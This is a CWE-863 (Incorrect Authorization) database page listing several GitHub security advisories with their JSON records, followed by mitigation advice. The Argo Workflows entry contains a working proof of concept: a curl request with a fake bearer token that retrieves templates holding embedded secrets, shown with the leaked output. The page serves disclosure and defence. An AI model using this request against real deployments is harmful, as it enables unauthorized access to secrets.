Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

5678 vulnerabilities reference this CWE, most recent first.

GHSA-56JF-QQRC-2H69

Vulnerability from github – Published: 2022-02-11 00:00 – Updated: 2023-08-08 15:31
VLAI
Details

Improper access control in a third-party component of Intel(R) Quartus(R) Prime Pro Edition before version 21.3 may allow an authenticated user to potentially enable escalation of privilege via local access.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-21174"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-02-09T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "Improper access control in a third-party component of Intel(R) Quartus(R) Prime Pro Edition before version 21.3 may allow an authenticated user to potentially enable escalation of privilege via local access.",
  "id": "GHSA-56jf-qqrc-2h69",
  "modified": "2023-08-08T15:31:43Z",
  "published": "2022-02-11T00:00:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-21174"
    },
    {
      "type": "WEB",
      "url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00632.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-56M6-8Q75-F2RW

Vulnerability from github – Published: 2026-07-24 14:08 – Updated: 2026-07-24 14:08
VLAI
Summary
ImageMagick: Policy Bypass due to an incomplete fix of CVE-2026-49219
Details

An incomplete fix of CVE-2026-49219 could result in a policy bypass.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-AnyCPU"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-AnyCPU"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-OpenMP-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-AnyCPU"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-OpenMP-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-59",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T14:08:37Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "An incomplete fix of CVE-2026-49219 could result in a policy bypass.",
  "id": "GHSA-56m6-8q75-f2rw",
  "modified": "2026-07-24T14:08:38Z",
  "published": "2026-07-24T14:08:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-56m6-8q75-f2rw"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ImageMagick/ImageMagick"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.15.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ImageMagick: Policy Bypass due to an incomplete fix of CVE-2026-49219"
}

GHSA-56PX-HM34-XQJ5

Vulnerability from github – Published: 2026-03-11 14:49 – Updated: 2026-05-13 15:23
VLAI
Summary
Unauthorized access to Argo Workflows Template
Details

Summary

Workflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a Authorization: Bearer nothing token can leak sensitive template content, including embedded Secret manifests.

Details

https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/workflow_template_server.go#L60-L78

https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/cluster_workflow_template_server.go#L54-L72

Informers use the server’s rest config, so they read using server SA privileges.

https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/informer.go#L29-L42

https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/informer.go#L34-L46

PoC

  1. Create template
apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata:
  name: leak-workflow-template
  namespace: argo
spec:
  templates:
  - name: make-secret
    resource:
      action: create
      manifest: |
        apiVersion: v1
        kind: Secret
        metadata:
          name: leaked-secret
        type: Opaque
        data:
          password: c3VwZXJzZWNyZXQ=

Then apply that with kubectl apply -f poc.yml 2. Query Argo Server with a fake token

Result:

> kubectl apply -f poc.yml
workflowtemplate.argoproj.io/leak-workflow-template created
> curl -sk -H "Authorization: Bearer nothing" \
    "https://localhost:2746/api/v1/workflow-templates/argo/leak-workflow-template"
{"metadata":{"name":"leak-workflow-template","namespace":"argo","uid":"6f91481c-df9a-4aeb-9fe3-a3fb6b12e11c","resourceVersion":"867394","generation":1,"creationTimestamp":"REDACTED","annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"argoproj.io/v1alpha1\",\"kind\":\"WorkflowTemplate\",\"metadata\":{\"annotations\":{},\"name\":\"leak-workflow-template\",\"namespace\":\"argo\"},\"spec\":{\"templates\":[{\"name\":\"make-secret\",\"resource\":{\"action\":\"create\",\"manifest\":\"apiVersion: v1\\nkind: Secret\\nmetadata:\\n  name: leaked-secret\\ntype: Opaque\\ndata:\\n  password: c3VwZXJzZWNyZXQ=\\n\"}}]}}\n"},"managedFields":[{"manager":"kubectl-client-side-apply","operation":"Update","apiVersion":"argoproj.io/v1alpha1","time":"REDACTED","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{".":{},"f:kubectl.kubernetes.io/last-applied-configuration":{}}},"f:spec":{".":{},"f:templates":{}}}}]},"spec":{"templates":[{"name":"make-secret","inputs":{},"outputs":{},"metadata":{},"resource":{"action":"create","manifest":"apiVersion: v1\nkind: Secret\nmetadata:\n  name: leaked-secret\ntype: Opaque\ndata:\n  password: c3VwZXJzZWNyZXQ=\n"}}],"arguments":{}}}

Impact

Any client can leaks Workflow Template and Cluster Workflow Template data, including secrets, artifact locations, service account usage, env vars, and resource manifests.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-workflows/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0"
            },
            {
              "fixed": "3.7.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-workflows/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28229"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-11T14:49:37Z",
    "nvd_published_at": "2026-03-11T16:16:40Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nWorkflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a `Authorization: Bearer nothing` token can leak sensitive template content, including embedded Secret manifests.\n\n### Details\n\nhttps://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/workflow_template_server.go#L60-L78\n\nhttps://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/cluster_workflow_template_server.go#L54-L72\n\nInformers use the server\u2019s rest config, so they read using server SA privileges. \n\nhttps://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/informer.go#L29-L42\n\nhttps://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/informer.go#L34-L46\n\n### PoC\n1. Create template\n\n```yml\napiVersion: argoproj.io/v1alpha1\nkind: WorkflowTemplate\nmetadata:\n  name: leak-workflow-template\n  namespace: argo\nspec:\n  templates:\n  - name: make-secret\n    resource:\n      action: create\n      manifest: |\n        apiVersion: v1\n        kind: Secret\n        metadata:\n          name: leaked-secret\n        type: Opaque\n        data:\n          password: c3VwZXJzZWNyZXQ=\n```\n\nThen apply that with `kubectl apply -f poc.yml`\n2. Query Argo Server with a fake token\n\n**Result:**\n\n```cmd\n\u003e kubectl apply -f poc.yml\nworkflowtemplate.argoproj.io/leak-workflow-template created\n\u003e curl -sk -H \"Authorization: Bearer nothing\" \\\n    \"https://localhost:2746/api/v1/workflow-templates/argo/leak-workflow-template\"\n{\"metadata\":{\"name\":\"leak-workflow-template\",\"namespace\":\"argo\",\"uid\":\"6f91481c-df9a-4aeb-9fe3-a3fb6b12e11c\",\"resourceVersion\":\"867394\",\"generation\":1,\"creationTimestamp\":\"REDACTED\",\"annotations\":{\"kubectl.kubernetes.io/last-applied-configuration\":\"{\\\"apiVersion\\\":\\\"argoproj.io/v1alpha1\\\",\\\"kind\\\":\\\"WorkflowTemplate\\\",\\\"metadata\\\":{\\\"annotations\\\":{},\\\"name\\\":\\\"leak-workflow-template\\\",\\\"namespace\\\":\\\"argo\\\"},\\\"spec\\\":{\\\"templates\\\":[{\\\"name\\\":\\\"make-secret\\\",\\\"resource\\\":{\\\"action\\\":\\\"create\\\",\\\"manifest\\\":\\\"apiVersion: v1\\\\nkind: Secret\\\\nmetadata:\\\\n  name: leaked-secret\\\\ntype: Opaque\\\\ndata:\\\\n  password: c3VwZXJzZWNyZXQ=\\\\n\\\"}}]}}\\n\"},\"managedFields\":[{\"manager\":\"kubectl-client-side-apply\",\"operation\":\"Update\",\"apiVersion\":\"argoproj.io/v1alpha1\",\"time\":\"REDACTED\",\"fieldsType\":\"FieldsV1\",\"fieldsV1\":{\"f:metadata\":{\"f:annotations\":{\".\":{},\"f:kubectl.kubernetes.io/last-applied-configuration\":{}}},\"f:spec\":{\".\":{},\"f:templates\":{}}}}]},\"spec\":{\"templates\":[{\"name\":\"make-secret\",\"inputs\":{},\"outputs\":{},\"metadata\":{},\"resource\":{\"action\":\"create\",\"manifest\":\"apiVersion: v1\\nkind: Secret\\nmetadata:\\n  name: leaked-secret\\ntype: Opaque\\ndata:\\n  password: c3VwZXJzZWNyZXQ=\\n\"}}],\"arguments\":{}}}\n```\n\n### Impact\nAny client can leaks Workflow Template and Cluster Workflow Template data, including secrets, artifact locations, service account usage, env vars, and resource manifests.",
  "id": "GHSA-56px-hm34-xqj5",
  "modified": "2026-05-13T15:23:17Z",
  "published": "2026-03-11T14:49:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-56px-hm34-xqj5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28229"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-workflows/commit/34afaf9c0c36f1ba8645d483ea4752cfc4a391e8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/argoproj/argo-workflows"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-workflows/releases/tag/v3.7.11"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-workflows/releases/tag/v4.0.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Unauthorized access to Argo Workflows Template"
}

GHSA-56QH-54MJ-8VVX

Vulnerability from github – Published: 2022-04-12 00:00 – Updated: 2022-04-20 00:00
VLAI
Details

Improper access control vulnerability in Galaxy Store prior to version 4.5.36.4 allows attacker to install applications from Galaxy Store without user interactions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-28776"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-11T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "Improper access control vulnerability in Galaxy Store prior to version 4.5.36.4 allows attacker to install applications from Galaxy Store without user interactions.",
  "id": "GHSA-56qh-54mj-8vvx",
  "modified": "2022-04-20T00:00:58Z",
  "published": "2022-04-12T00:00:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-28776"
    },
    {
      "type": "WEB",
      "url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2022\u0026month=4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-56RV-WMR6-9CPM

Vulnerability from github – Published: 2023-07-06 21:15 – Updated: 2024-04-04 05:48
VLAI
Details

SGUDA U-Lock central lock control service’s user management function has incorrect authorization. A remote attacker with general user privilege can exploit this vulnerability to call privileged APIs to access, modify and delete user information.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-46308"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-02T11:15:09Z",
    "severity": "HIGH"
  },
  "details": "SGUDA U-Lock central lock control service\u2019s user management function has incorrect authorization. A remote attacker with general user privilege can exploit this vulnerability to call privileged APIs to access, modify and delete user information.",
  "id": "GHSA-56rv-wmr6-9cpm",
  "modified": "2024-04-04T05:48:33Z",
  "published": "2023-07-06T21:15:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-46308"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/tw/cp-132-7100-7a15c-1.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-573F-863H-PR75

Vulnerability from github – Published: 2022-05-24 19:05 – Updated: 2022-05-24 19:05
VLAI
Details

White Shark System (WSS) 1.3.2 has an unauthorized access vulnerability in default_user_edit.php, remote attackers can exploit this vulnerability to escalate to admin privileges.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-20471"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-21T05:15:00Z",
    "severity": "HIGH"
  },
  "details": "White Shark System (WSS) 1.3.2 has an unauthorized access vulnerability in default_user_edit.php, remote attackers can exploit this vulnerability to escalate to admin privileges.",
  "id": "GHSA-573f-863h-pr75",
  "modified": "2022-05-24T19:05:46Z",
  "published": "2022-05-24T19:05:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-20471"
    },
    {
      "type": "WEB",
      "url": "https://github.com/itodaro/WhiteSharkSystem_cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-575C-J9F6-J63W

Vulnerability from github – Published: 2022-11-16 12:00 – Updated: 2022-11-21 15:30
VLAI
Details

A vulnerability in the authentication and authorization flows for VPN connections in Cisco Adaptive Security Appliance (ASA) Software and Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to establish a connection as a different user. This vulnerability is due to a flaw in the authorization verifications during the VPN authentication flow. An attacker could exploit this vulnerability by sending a crafted packet during a VPN authentication. The attacker must have valid credentials to establish a VPN connection. A successful exploit could allow the attacker to establish a VPN connection with access privileges from a different user.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-20928"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-15T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the authentication and authorization flows for VPN connections in Cisco Adaptive Security Appliance (ASA) Software and Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to establish a connection as a different user. This vulnerability is due to a flaw in the authorization verifications during the VPN authentication flow. An attacker could exploit this vulnerability by sending a crafted packet during a VPN authentication. The attacker must have valid credentials to establish a VPN connection. A successful exploit could allow the attacker to establish a VPN connection with access privileges from a different user.",
  "id": "GHSA-575c-j9f6-j63w",
  "modified": "2022-11-21T15:30:22Z",
  "published": "2022-11-16T12:00:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20928"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asa-ftd-vp-authz-N2GckjN6"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asa-ftd-vp-authz-N2GckjN6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-577C-FJ3G-5RVC

Vulnerability from github – Published: 2024-10-19 00:31 – Updated: 2024-10-19 00:31
VLAI
Details

Ivanti DSM < version 2024.2 allows authenticated users on the local machine to run code with elevated privileges due to insecure ACL via unspecified attack vector.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-29821"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-18T23:15:03Z",
    "severity": "HIGH"
  },
  "details": "Ivanti DSM \u003c version 2024.2 allows authenticated users on the local machine to run code with elevated privileges due to insecure ACL via unspecified attack vector.",
  "id": "GHSA-577c-fj3g-5rvc",
  "modified": "2024-10-19T00:31:54Z",
  "published": "2024-10-19T00:31:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29821"
    },
    {
      "type": "WEB",
      "url": "https://forums.ivanti.com/s/article/SA-2024-07-12-CVE-2024-29821"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-57C2-X23H-8MC3

Vulnerability from github – Published: 2022-08-06 00:00 – Updated: 2022-08-12 00:01
VLAI
Details

An issue has been discovered in GitLab CE/EE affecting all versions before 15.0.5, all versions starting from 15.1 before 15.1.4, all versions starting from 15.2 before 15.2.1. It may be possible for malicious group or project maintainers to change their corresponding group or project visibility by crafting a malicious POST request.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-2456"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-05T16:15:00Z",
    "severity": "LOW"
  },
  "details": "An issue has been discovered in GitLab CE/EE affecting all versions before 15.0.5, all versions starting from 15.1 before 15.1.4, all versions starting from 15.2 before 15.2.1. It may be possible for malicious group or project maintainers to change their corresponding group or project visibility by crafting a malicious POST request.",
  "id": "GHSA-57c2-x23h-8mc3",
  "modified": "2022-08-12T00:01:20Z",
  "published": "2022-08-06T00:00:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2456"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/1536559"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2022/CVE-2022-2456.json"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/359910"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-57GR-JVQR-3HWM

Vulnerability from github – Published: 2020-07-29 18:07 – Updated: 2021-09-23 17:35
VLAI
Summary
Incorrect access control in typo3_forum
Details

The typo3_forum extension before 1.2.1 for TYPO3 has Incorrect Access Control.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "mittwald/typo3_forum"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-15513"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-07-29T17:53:59Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "The typo3_forum extension before 1.2.1 for TYPO3 has Incorrect Access Control.",
  "id": "GHSA-57gr-jvqr-3hwm",
  "modified": "2021-09-23T17:35:16Z",
  "published": "2020-07-29T18:07:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15513"
    },
    {
      "type": "WEB",
      "url": "https://typo3.org/help/security-advisories"
    },
    {
      "type": "WEB",
      "url": "https://typo3.org/security/advisory/typo3-ext-sa-2020-010"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Incorrect access control in typo3_forum"
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.